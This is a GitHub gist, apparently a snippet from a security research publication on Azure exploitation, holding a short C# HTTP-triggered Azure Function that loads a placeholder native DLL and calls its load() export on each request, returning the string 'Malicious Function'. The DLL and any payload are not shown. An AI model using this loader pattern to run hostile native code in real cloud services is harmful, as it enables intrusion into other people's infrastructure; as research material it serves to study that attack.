Skip to content

Instantly share code, notes, and snippets.

@ITAYC0HEN
Created January 23, 2020 09:14
Show Gist options
  • Save ITAYC0HEN/272ac90f7806d1b69d6a25a26fb2e80b to your computer and use it in GitHub Desktop.
Save ITAYC0HEN/272ac90f7806d1b69d6a25a26fb2e80b to your computer and use it in GitHub Desktop.
Azure Exploitation Publication - Part2, Snippet 1
using System.Net;
using System.Runtime.InteropServices;
[DllImport("YOUR_DLL_NAME")]
public static extern void load();
public static async Task<HttpResponseMessage> Run(HttpRequestMessage req, TraceWriter log)
{
load();
log.Info("C# HTTP trigger function processed a request.");
return req.CreateResponse(HttpStatusCode.OK, "Malicious Function");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment